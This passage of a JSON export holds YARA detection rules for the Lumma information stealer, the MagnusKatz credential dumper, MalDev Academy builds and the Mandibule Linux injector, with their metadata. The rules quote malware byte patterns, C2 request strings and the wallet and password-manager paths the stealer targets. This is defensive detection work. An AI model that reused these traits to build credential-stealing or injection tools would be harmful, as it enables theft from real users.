+  "content": "rule lumma_stealer_memory {\n    meta:\n        title = \"Lumma Stealer Memory\"\n        id = \"a8290d54-f88b-4cdf-9854-7ea6235c0efb\"\n        description = \"Detects Lumma Stealer v2 (aka LummaC2 Stealer) memory artifacts. Lumma Stealer is an information stealer written in the C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022.\"\n        references = \"https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma\\nhttps://www.intrinsec.com/wp-content/uploads/2023/10/TLP-CLEAR-Lumma-Stealer-EN-Information-report.pdf\\nhttps://www.0x1c.zip/0001-lummastealer/\"\n        date = \"2025-07-07\"\n        modified = \"2025-08-05\"\n        author = \"HarfangLab\"\n        tags = \"attack.discovery;attack.t1082;attack.credential_access;attack.t1555.003;attack.command_and_control;attack.t1071.001;attack.exfiltration;attack.t1041\"\n        classification = \"Windows.Stealer.Lumma\"\n        context = \"memory,thread\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // bba2b3ffc0e417957f22666d5f5d10e7b77198e5bd7ee43f3b48f6285f62b2be\n        // f792634c1d9ff2bc7b169714bd6ae69ec36a73f76985e07141a761884d863ae0\n\n        $self_injected_stub = {\n            83 EC 08                                      // sub     esp, 8\n            8B 44 24 ??                                   // mov     eax, [esp+0Ch+arg_0]\n            C7 04 24 00 00 00 00                          // mov     [esp+0Ch+var_C], 0\n\n                                        // loc_43330F:\n            83 3C 24 ??                                   // cmp     [esp+0Ch+var_C], 2Eh\n            72 02                                         // jb      short loc_433317\n            EB ??                                         // jmp     short loc_433358\n        }\n\n        $browser_injected_code = {\n            48 BE ?? ?? ?? ?? ?? ?? 00 00                  // movabs rsi, 0x3cdc01b72c00\n            48 BF ?? ?? ?? ?? ?? ?? 00 00                  // movabs rdi, 0x1c893a60000\n            48 B9 20 00 00 00 00 00 00 00                  // movabs rcx, 0x20\n            F3 A4                                          // rep movsb byte ptr [rdi], byte ptr [rsi]\n            48 B9 ?? ?? ?? ?? ?? ?? 00 00                  // movabs rcx, 0x1c893a60000\n            BA 20 00 00 00                                 // mov edx, 0x20\n            45 31 C0                                       // xor r8d, r8d\n            48 B8 ?? ?? ?? ?? ?? ?? 00 00                  // movabs rax, 0x7ffd661c16f0\n            FF D0                                          // call rax\n            C3                                             // ret\n        }\n\n    condition:\n        #self_injected_stub > 200 or $browser_injected_code\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "lumma_stealer_memory"
+  ],
+  "rule_creation_date": "2025-07-07",
+  "rule_modified_date": "2025-08-05",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Stealer.Lumma"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.credential_access",
+    "attack.discovery",
+    "attack.exfiltration"
+  ],
+  "rule_technique_tags": [
+    "attack.t1071.001",
+    "attack.t1041",
+    "attack.t1555.003",
+    "attack.t1082"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "memory",
+    "thread"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-lumma_stealer_stager_shellcode_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.568418Z",
+  "creation_date": "2026-03-23T11:46:25.568421Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.568427Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma\nhttps://www.intrinsec.com/wp-content/uploads/2023/10/TLP-CLEAR-Lumma-Stealer-EN-Information-report.pdf\nhttps://www.0x1c.zip/0001-lummastealer/"
+  ],
+  "name": "lumma_stealer_stager_shellcode.yar",
+  "content": "rule lumma_stealer_stager_shellcode {\n    meta:\n        title = \"Lumma Stealer Stager Shellcode\"\n        id = \"3f51e303-458e-4adb-826d-c2aea4d82ba5\"\n        description = \"Detects the Lumma Stealer stager shellcode used to download and execute the stealer into a remote process.\\nLumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is recommended to investigate network traffic for potential C2 communication.\"\n        references = \"https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma\\nhttps://www.intrinsec.com/wp-content/uploads/2023/10/TLP-CLEAR-Lumma-Stealer-EN-Information-report.pdf\\nhttps://www.0x1c.zip/0001-lummastealer/\"\n        date = \"2024-08-30\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.privilege_escalation;attack.t1055.002;attack.execution;attack.t1106;attack.command_and_control;attack.t1071.001\"\n        classification = \"Windows.Stealer.Lumma\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // efd18e4ccd52ea2ffca936d8c5eac450df9024717c4fe5cfe079cff4ef69785a\n        // bd3dceca7b73f73d83a0c46f43d42d8925f094412213ec36273c33b80ad80ce1\n\n        $x1 = {\n            41                            // inc     ecx\n            FF D7                         // call    edi ; InternetOpenUrlW\n            48                            // dec     eax\n            8D 56 18                      // lea     edx, [esi+18h]\n            45                            // inc     ebp\n            33 C9                         // xor     ecx, ecx\n            45                            // inc     ebp\n            33 C0                         // xor     eax, eax\n            48                            // dec     eax\n            8B C8                         // mov     ecx, eax\n            4C                            // dec     esp\n        }\n\n        $x2 = {\n            41                            // inc     ecx\n            8B C8                         // mov     ecx, eax\n            49                            // dec     ecx\n            F7 E0                         // mul     eax\n            48                            // dec     eax\n            2B CA                         // sub     ecx, edx\n            48                            // dec     eax\n            D1 E9                         // shr     ecx, 1\n            48                            // dec     eax\n            03 CA                         // add     ecx, edx\n            48                            // dec     eax\n            C1 E9 04                      // shr     ecx, 4\n            48                            // dec     eax\n            6B C9 15                      // imul    ecx, 15h\n            4C                            // dec     esp\n            2B C1                         // sub     eax, ecx\n            49                            // dec     ecx\n            8D 40 0A                      // lea     eax, [eax+0Ah]\n            48                            // dec     eax\n            83 C4 28                      // add     esp, 28h\n            C3                            // retn\n        }\n\n        $x3 = {\n                                    // sub_406\n            48                            // dec     eax\n            33 C0                         // xor     eax, eax\n            4C                            // dec     esp\n            8B D1                         // mov     edx, ecx\n            B8 15 00 00 00                // mov     eax, 15h\n            0F 05                         // syscall\n            C3                            // retn\n\n                                    // sub_414\n            48                            // dec     eax\n            33 C0                         // xor     eax, eax\n            4C                            // dec     esp\n            8B D1                         // mov     edx, ecx\n            B8 29 00 00 00                // mov     eax, 29h\n            0F 05                         // syscall\n            C3                            // retn\n\n                                    // sub_422\n            48                            // dec     eax\n            33 C0                         // xor     eax, eax\n            4C                            // dec     esp\n            8B D1                         // mov     edx, ecx\n            B8 2E 00 00 00                // mov     eax, 2Eh\n            0F 05                         // syscall\n            C3                            // retn\n\n                                    // sub_430\n            48                            // dec     eax\n            33 C0                         // xor     eax, eax\n            4C                            // dec     esp\n            8B D1                         // mov     edx, ecx\n            B8 31 00 00 00                // mov     eax, 31h\n            0F 05                         // syscal\n            C3                            // retn\n        }\n\n    condition:\n        1 of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "lumma_stealer_stager_shellcode"
+  ],
+  "rule_creation_date": "2024-08-30",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Stealer.Lumma"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion",
+    "attack.execution",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1106",
+    "attack.t1071.001",
+    "attack.t1055.002"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-lumma_stealer_v2_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.575652Z",
+  "creation_date": "2026-03-23T11:46:25.575655Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.575660Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma\nhttps://www.intrinsec.com/wp-content/uploads/2023/10/TLP-CLEAR-Lumma-Stealer-EN-Information-report.pdf\nhttps://www.0x1c.zip/0001-lummastealer/"
+  ],
+  "name": "lumma_stealer_v2.yar",
+  "content": "rule lumma_stealer_v2 {\n    meta:\n        title = \"Lumma Stealer v2\"\n        id = \"b1f74ddf-6e1c-468c-8743-24c3571cc912\"\n        description = \"Detects Lumma Stealer v2 (aka LummaC2 Stealer), an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. This stealer is designed to extract sensitive information such as system details, clipboard contents, and installed software. It may inject into legitimate processes to avoid detection and create or modify system files related to its activities.\"\n        references = \"https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma\\nhttps://www.intrinsec.com/wp-content/uploads/2023/10/TLP-CLEAR-Lumma-Stealer-EN-Information-report.pdf\\nhttps://www.0x1c.zip/0001-lummastealer/\"\n        date = \"2024-08-30\"\n        modified = \"2025-05-12\"\n        author = \"HarfangLab\"\n        tags = \"attack.discovery;attack.t1082;attack.credential_access;attack.t1555.003;attack.command_and_control;attack.t1071.001;attack.exfiltration;attack.t1041\"\n        classification = \"Windows.Stealer.Lumma\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 35e5f8f573216bf3c4d308c8556ac17043986cfd17a9f25824ca54f7a2483892\n        // 0d295e2c53c2f33f6582c03767e0692ce8c366210dd5bca7a671152c763cce4f\n        // 8903d4bfe61ca3ca897af368619fe98a7d0ee81495df032b9380f00af41bbfc7\n        // fbb0f6f5d7f6482d15ca97b8500806d9aff10a82ebc555e1beb4644159c3da07\n\n        $s_a = \"# Buy now: TG @lummanowork\" ascii fullword\n\n        $s_b1 = \"- LummaC2 Build:\" ascii\n        $s_b2 = \"- LID:\" ascii\n        $s_b3 = \"- Install Date:\" ascii\n        $s_b4 = \"- HWID:\" ascii\n\n        $s_c1 = \"System.txtPK\" ascii fullword\n        $s_c2 = \"Clipboard.txtPK\" ascii fullword\n        $s_c3 = \"Software.txtPK\" ascii fullword\n        $s_c4 = \"Processes.txtPK\" ascii fullword\n\n        $s_d1 = \"act=recive_message&ver=\" ascii\n        $s_d2 = \"act=get_message&ver=\" ascii\n        $s_d3 = \"act=life\" ascii fullword\n\n        $s_e1 = \"%programfiles%\\\\Telegram Desktop\" ascii fullword\n        $s_e2 = \"%localappdata%\\\\Chedot\\\\User Data\" ascii fullword\n        $s_e3 = \"%localappdata%\\\\1Password\" ascii fullword\n        $s_e4 = \"%appdata%\\\\Bitcoin\\\\wallets\" ascii fullword\n\n        $x1 = {\n            88 (18|19|1A|1B)                              // mov     [edx], bl\n            (40|41|42|43)                                 // inc     edx\n            0F B6 (1E|1F)                                 // movzx   ebx, byte ptr [edi]\n            (46|47)                                       // inc     edi\n            84 DB                                         // test    bl, bl\n            75 F5                                         // jnz     short loc_4098C0\n\n                                        // loc_4098CB:\n            C6 (00|01|02|03) 00                           // mov     byte ptr [edx], 0\n            0F B6 (1E|1F)                                 // movzx   ebx, byte ptr [esi]\n            84 DB                                         // test    bl, bl\n            74 16                                         // jz      short loc_4098EB\n            (46|47)                                       // inc     esi\n        }\n\n        $x2 = {\n            88 (18|19|1A|1B)                              // mov     [eax], bl\n            (40|41|42|43)                                 // inc     eax\n            0F B6 (1E|1F)                                 // movzx   ebx, byte ptr [esi]\n            (46|47)                                       // inc     esi\n            84 DB                                         // test    bl, bl\n            75 F5                                         // jnz     short loc_4113D0\n            EB 03                                         // jmp     short loc_4113E0\n\n                                        // loc_4113DD:\n            8B ?? ??                                      // mov     ecx, [esp+0CBCh+var_CBC]\n\n                                        // loc_4113E0:\n            C6 (00|01|02|03) 00                           // mov     byte ptr [eax], 0\n            0F B6 (18|19|1A|1B)                           // movzx   ebx, byte ptr [edx]\n            84 DB                                         // test    bl, bl\n            74 11                                         // jz      short loc_4113FB\n            (40|41|42|43)                                 // inc     edx\n        }\n\n        $x3 = {\n            8B 4C 24 04                                   // mov     ecx, [esp+4Ch+var_48]\n            8B 7C 24 04                                   // mov     edi, [esp+4Ch+var_48]\n            0F B6 7C 3C 10                                // movzx   edi, byte ptr [esp+edi+4Ch+var_3C]\n            81 C1 40 59 9D B9                             // add     ecx, 0B99D5940h\n            31 F9                                         // xor     ecx, edi\n            89 4C 24 0C                                   // mov     [esp+4Ch+var_40], ecx\n            8B 4C 24 0C                                   // mov     ecx, [esp+4Ch+var_40]\n            80 C1 40                                      // add     cl, 40h ; '@'\n            8B 7C 24 04                                   // mov     edi, [esp+4Ch+var_48]\n            88 4C 3C 10                                   // mov     byte ptr [esp+edi+4Ch+var_3C], cl\n            FF 44 24 04                                   // inc     [esp+4Ch+var_48]\n            8B 4C 24 04                                   // mov     ecx, [esp+4Ch+var_48]\n            83 F9 0A                                      // cmp     ecx, 0Ah\n            72 CB                                         // jb      short loc_43C050\n        }\n\n        $x4 = {\n            66 89 ??                                      // mov     [eax], cx\n            83 C0 02                                      // add     eax, 2\n            0F B7 ??                                      // movzx   ecx, word ptr [edx]\n            83 ?? 02                                      // add     edx, 2\n            66 85 ??                                      // test    cx, cx\n            75 EF                                         // jnz     short loc_410700\n\n                                        // loc_410711:\n            66 C7 00 00 00                                // mov     word ptr [eax], 0\n            0F B7 (00 00 00| ?? ?? ?? ?? ??)              // movzx   ecx, word_451E32\n            66 85 ??                                      // test    cx, cx\n            74 ??                                         // jz      short loc_410745\n        }\n\n        $x5 = {\n            66 61 69 6C 65 64 20 66 69 6E 64 69 6E 67 20 63     // failed finding central directory\n            65 6E 74 72 61 6C 20 64 69 72 65 63 74 6F 72 79\n            00\n            [6] 2D 2D [24] 00                                   // \"Lumma ID\"\n            (\n                73 79 73 74 65 6D 20 6F 72 20 63 68 61 72 61 63 // system or character via spellings glyphsa\n                74 65 72 20 76 69 61 20 73 70 65 6C 6C 69 6E 67\n                73 20 67 6C 79 70 68 73 20 61 20 69 73 20 75 73\n                65\n            |\n                74 6f 74 61 6c 20  65 72 72 6f 72 73 00         // total errors\n            )\n        }\n\n        $x6 = {\n            21 D7      // and     edi, edx\n            89 C6      // mov     esi, eax\n            31 D6      // xor     esi, edx\n            01 D6      // add     esi, edx\n            29 FE      // sub     esi, edi\n            89 C7      // mov     edi, eax\n            21 D7      // and     edi, edx\n            01 FF      // add     edi, edi\n            29 D7      // sub     edi, edx\n            01 CF      // add     edi, ecx\n            09 C2      // or      edx, eax\n            21 FA      // and     edx, edi\n            F7 D2      // not     edx\n            21 F2      // and     edx, esi\n        }\n\n    condition:\n        (\n            $s_a and\n            (\n                2 of ($s_b*) or\n                2 of ($s_c*) or\n                1 of ($s_d*) or\n                3 of ($s_e*)\n            )\n        ) or\n        (\n            1 of ($s_b*) and\n            1 of ($s_c*) and\n            1 of ($s_d*) and\n            1 of ($s_e*)\n        ) or\n        (\n            2 of ($s_b*) and\n            1 of ($s_d*) and\n            2 of ($s_e*)\n        ) or\n        (\n            2 of ($s_c*) and\n            1 of ($s_d*) and\n            2 of ($s_e*)\n        ) or\n        1 of ($x*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "lumma_stealer_v2"
+  ],
+  "rule_creation_date": "2024-08-30",
+  "rule_modified_date": "2025-05-12",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Stealer.Lumma"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.credential_access",
+    "attack.discovery",
+    "attack.exfiltration"
+  ],
+  "rule_technique_tags": [
+    "attack.t1071.001",
+    "attack.t1041",
+    "attack.t1555.003",
+    "attack.t1082"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-magnuskatz_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.568192Z",
+  "creation_date": "2026-03-23T11:46:25.568195Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.568204Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://improsec.com/tech-blog/mimikatz-under-the-hood\nhttps://attack.mitre.org/techniques/T1003/001/"
+  ],
+  "name": "magnuskatz.yar",
+  "content": "rule hacktool_magnuskatz {\n    meta:\n        title = \"MagnusKatz HackTool\"\n        id = \"76ebaea8-5ff8-42ae-9d7d-b40d663d1688\"\n        description = \"Detects the execution of MagnusKatz, a post-exploitation tool used to extract NTLM hashes from memory.\\nMagnusKatz is an implementation similar to Mimikatz, designed to retrieve NTLM credentials of logged-in users at runtime. It operates by enumerating running processes and extracting the NTLM hashes from their memory space. This tool is often used in red teaming and security testing to demonstrate weaknesses in credential protection mechanisms.\"\n        references = \"https://improsec.com/tech-blog/mimikatz-under-the-hood\\nhttps://attack.mitre.org/techniques/T1003/001/\"\n        date = \"2023-05-12\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.credential_access;attack.t1003.001\"\n        classification = \"Windows.HackTool.MagnusKatz\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // af41c403c50c343aa31c7cdd7bd8f019ad228fbff6b4dc5319cd0210fff73fa8\n\n        $s1 = \"[!] EnumProcessModules failed: %d\" fullword ascii\n        $s2 = \"[!] GetModuleFileNameExA failed: %d\" fullword ascii\n        $s3 = \"[!] Search for pattern in lsasrv.dll module memory came up empty, or something else messed up in memmem()\" fullword ascii\n        $s4 = \"[!] logon session is empty. Skipping...\" fullword ascii\n        $s5 = \"ChainingModeCBC\" fullword wide\n\n    condition:\n        all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "hacktool_magnuskatz"
+  ],
+  "rule_creation_date": "2023-05-12",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.MagnusKatz"
+  ],
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1003.001"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-maldev_academy_hacktool_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.588910Z",
+  "creation_date": "2026-03-23T11:46:25.588912Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.588918Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://maldevacademy.com/\nhttps://joostagterhoek.nl/study/maldev-academy"
+  ],
+  "name": "maldev_academy_hacktool.yar",
+  "content": "rule maldev_academy_hacktool {\n    meta:\n        title = \"Maldev Academy HackTool\"\n        id = \"06c79a88-8aab-43cb-b886-1c6c7487be21\"\n        description = \"Detects hacktools compiled from MalDev Academy projects.\\nMalDev Academy is an educational platform that provides hands-on training in malware development and offensive security techniques, which can also be leveraged by attackers to create real-world malicious tools.\\nIt is recommended to examine the context in which this tool is executed to determine whether its use is legitimate.\"\n        references = \"https://maldevacademy.com/\\nhttps://joostagterhoek.nl/study/maldev-academy\"\n        date = \"2026-01-15\"\n        modified = \"2026-01-27\"\n        author = \"HarfangLab\"\n        tags = \"attack.resource_development;attack.t1587.001\"\n        classification = \"Windows.HackTool.MaldevAcademy\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 7dd078a57d842c1cf0c598cbe08c4ecbde21916fe636daa868329f31df35c138\n\n        $pdb = \"C:\\\\Users\\\\MALDEV01\\\\Desktop\\\\Maldev-code\\\\\" ascii wide\n\n    condition:\n        all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "maldev_academy_hacktool"
+  ],
+  "rule_creation_date": "2026-01-15",
+  "rule_modified_date": "2026-01-27",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.MaldevAcademy"
+  ],
+  "rule_tactic_tags": [],
+  "rule_technique_tags": [
+    "attack.t1587.001"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-mandibule_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.575836Z",
+  "creation_date": "2026-03-23T11:46:25.575838Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.575844Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/ixty/mandibule\nhttps://www.trendmicro.com/en_us/research/23/i/earth-lusca-employs-new-linux-backdoor.html"
+  ],
+  "name": "mandibule.yar",
+  "content": "rule mandibule {\n    meta:\n        title = \"Mandibule Loader\"\n        id = \"add4d841-db08-4bcd-ab81-5ad00a456bd8\"\n        description = \"Detects Mandibule, a program allowing the injection of an ELF file inside a remote process.\\nMandibule is a Linux loader designed to inject malicious ELF files into legitimate processes. It enables remote code injection, a technique often employed for defense evasion and persistence.\\nThe injection process typically involves mapping the ELF file into the target process's memory and executing it from there.\\nIt is recommended to isolate the endpoint, analyze the injected process for potential malicious activities, and monitor for any related suspicious behavior.\"\n        references = \"https://github.com/ixty/mandibule\\nhttps://www.trendmicro.com/en_us/research/23/i/earth-lusca-employs-new-linux-backdoor.html\"\n        date = \"2023-09-22\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1055\"\n        classification = \"Linux.Loader.Mandibule\"\n        context = \"process,file.elf\"\n        os = \"Linux\"\n        arch = \"x86,x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 901c92e93f635260eb149cae03eedfa1ac85994bf90cacb5638b9cea47bbc2c6\n\n        $s1 = \"> auto-detected manual mapping address 0x%lx\" ascii fullword\n        $s2 = \"> load segment addr 0x%llx len 0x%llx => 0x%llx\\n\" ascii fullword\n        $s3 = \"> no executable section is large enough :/\" ascii fullword\n        $s4 = \"> shellcode injection addr: 0x%lx size: 0x%lx (available: 0x%lx)\" ascii fullword\n        $s5 = \"> shellcode executed!\" ascii fullword\n        $s6 = \"> malloc for injected code failed\" ascii fullword\n\n        $mkmom_end = {\n            48 8D 05 ?? ?? 00 00              // lea     rax, aEndRodata\n            48 89 44 24 F8                    // mov     [rsp+var_8], rax\n            48 8B 44 24 F8                    // mov     rax, [rsp+var_8]\n            25 FF 0F 00 00                    // and     eax, 0FFFh\n            (\n                BA 00 10 00 00                // mov     edx, 1000h\n                48 29 C2                      // sub     rdx, rax\n                48 89 D0                      // mov     rax, rdx\n                |\n                48 89 C2                      // mov     rdx, rax\n                B8 00 10 00 00                // mov     eax, 1000h\n                48 29 D0                      // sub     rax, rdx\n            )\n            48 01 44 24 F8                    // add     [rsp+var_8], rax\n            48 8B 44 24 F8                    // mov     rax, [rsp+var_8]\n            C3                                // retn\n        }\n\n        $get_mapmax = {\n            EB 06                               // jmp     short loc_25E1\n\n                                            // loc_25DB:\n            48 C1 6C 24 38 08                   // shr     [rsp+58h+var_20], 8\n\n                                            // loc_25E1:\n            48 81 7C 24 38 FF 00 00 00          // cmp     [rsp+58h+var_20], 0FFh\n            77 EF                               // ja      short loc_25DB\n            48 81 7C 24 38 FF 00 00 00          // cmp     [rsp+58h+var_20], 0FFh\n            74 12                               // jz      short loc_2609\n            48 83 7C 24 38 7F                   // cmp     [rsp+58h+var_20], 7Fh\n            74 0A                               // jz      short loc_2609\n            48 8B 44 24 28                      // mov     rax, [rsp+58h+var_30]\n            48 89 44 24 40                      // mov     [rsp+58h+var_18], rax\n\n                                            // loc_2609:\n            48 8B 44 24 30                      // mov     rax, [rsp+58h+var_28]\n            48 83 C0 01                         // add     rax, 1\n            48 89 44 24 48                      // mov     [rsp+58h+var_10], rax\n        }\n\n        $_syscall = {\n            0F 05                             // syscall\n            89 44 24 ??                       // mov     [rsp+ret], eax\n            8B 44 24 ??                       // mov     eax, [rsp+ret]\n            C3                                // retn\n        }\n\n    condition:\n        uint16(0) == 0x457f and\n        (\n            3 of ($s*) or\n            (#_syscall > 4 and ($mkmom_end or $get_mapmax)) or\n            ($mkmom_end and $get_mapmax) or\n            1 of ($s*) and\n            (\n                $mkmom_end or\n                $get_mapmax or\n                #_syscall > 4\n            )\n        )\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "mandibule"
+  ],
+  "rule_creation_date": "2023-09-22",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "linux"
+  ],
+  "rule_classifications": [
+    "Linux.Loader.Mandibule"
+  ],
+  "rule_tactic_tags": [
